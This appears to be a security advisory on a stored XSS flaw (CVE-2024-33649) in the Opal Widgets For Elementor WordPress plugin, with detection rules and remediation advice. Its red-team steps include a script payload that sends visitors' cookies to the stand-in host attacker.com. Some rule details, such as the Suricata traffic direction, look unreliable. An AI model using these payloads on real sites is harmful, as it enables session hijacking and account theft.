CVE-2024-33649

Executive Summary

CVE-2024-33649 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Opal Widgets For Elementor, affecting versions from n/a through 1.6.9. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages generated by the plugin. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's widget rendering logic. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The lack of a patch from the vendor (WpOpal) means that the supply chain is currently compromised for all users of the affected versions. Organizations should treat this as a high-risk supply chain issue and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view the compromised page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access reduces the immediate risk. However, in multi-user WordPress environments, this can be easily exploited by malicious contributors.

Deep Dive & Mechanics

The vulnerability resides in the Opal Widgets For Elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to properly sanitize user-supplied input before storing it in the WordPress database and later rendering it in the frontend. Specifically, when a user with contributor-level privileges or higher creates or edits a page using an Opal widget, the plugin does not neutralize HTML/JavaScript input in certain fields (e.g., widget titles, descriptions, or custom attributes). This allows an attacker to inject malicious scripts that are stored and executed when any user (including administrators) views the page.

The attack flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates a new page or edits an existing one using an Opal widget.
3. Attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized field.
4. The payload is stored in the database.
5. When an administrator or other user visits the page, the script executes in their browser.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerability likely exists in the widget's PHP rendering functions where user input is echoed without proper escaping.

Vulnerable Code (Example):

// In a widget's render() method
echo '<div class="opal-widget-title">' . $settings['title'] . '</div>';

Patched Code (Expected):

// Properly escape output
echo '<div class="opal-widget-title">' . esc_html( $settings['title'] ) . '</div>';

The fix would involve using WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post() depending on the context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Opal Widgets For Elementor <= 1.6.9 installed and activated.
• A user account with at least contributor-level privileges.

Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to Pages > Add New.
3. Edit the page with Elementor.
4. Add an Opal widget (e.g., "Opal Heading" or "Opal Button").
5. In the widget's settings, locate a text field (e.g., "Title" or "Description").
6. Inject a payload such as:

   <img src=x onerror=alert('XSS')>
   

   or

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

7. Save and publish the page.
8. Send the page link to an administrator or wait for them to visit it.

Expected Result: The injected script executes in the victim's browser.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for suspicious page edits by low-privilege users.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hardening:

• Remove or disable the Opal Widgets For Elementor plugin until a patch is available.
• Restrict contributor-level users from using Elementor or specific widgets via user role management plugins.
• Apply WordPress hardening best practices (e.g., disable file editing, enforce strong passwords).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – no malicious files identified)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing XSS payloads in POST data to /wp-admin/admin-ajax.php or page edit endpoints.
• Log Entries:
  • WordPress audit logs showing page edits by contributor users with unusual content.
  • Web server logs showing requests with <script> tags or onerror handlers.
• Database Indicators:
  • Rows in wp_posts or wp_postmeta containing JavaScript payloads in widget settings.

Detection Engineering

YARA Rule

rule CVE_2024_33649_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Opal Widgets For Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33649"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/is
        $payload2 = /onerror\s*=\s*['\"][^'\"]*['\"]/i
        $payload3 = /onload\s*=\s*['\"][^'\"]*['\"]/i
        $plugin_path = "opal-widgets-for-elementor"
    condition:
        any of ($payload*) and $plugin_path
}

Sigma Rule

title: CVE-2024-33649 - Stored XSS in Opal Widgets For Elementor
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Opal Widgets For Elementor plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/post.php'
        cs-uri-query|re: 'action=elementor'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-33649 - Stored XSS in Opal Widgets For Elementor";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=elementor"; http_client_body;
    pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i";
    sid:10000001;
    rev:1;
    reference:cve,2024-33649;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and uninstall Opal Widgets For Elementor until a patch is released.
2. Audit existing content – Scan all pages and posts for injected scripts, especially those created by contributor-level users.
3. Review user roles – Restrict contributor-level users from using Elementor or specific widgets.

Long-term Mitigation:

• Monitor the vendor's website or WordPress plugin repository for an update.
• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly update all WordPress plugins and themes.

Workaround (if plugin must remain active):

• Use a security plugin (e.g., Wordfence) to block XSS payloads.
• Manually patch the plugin by adding esc_html() or wp_kses_post() to widget rendering functions (requires developer skills).

Valters IT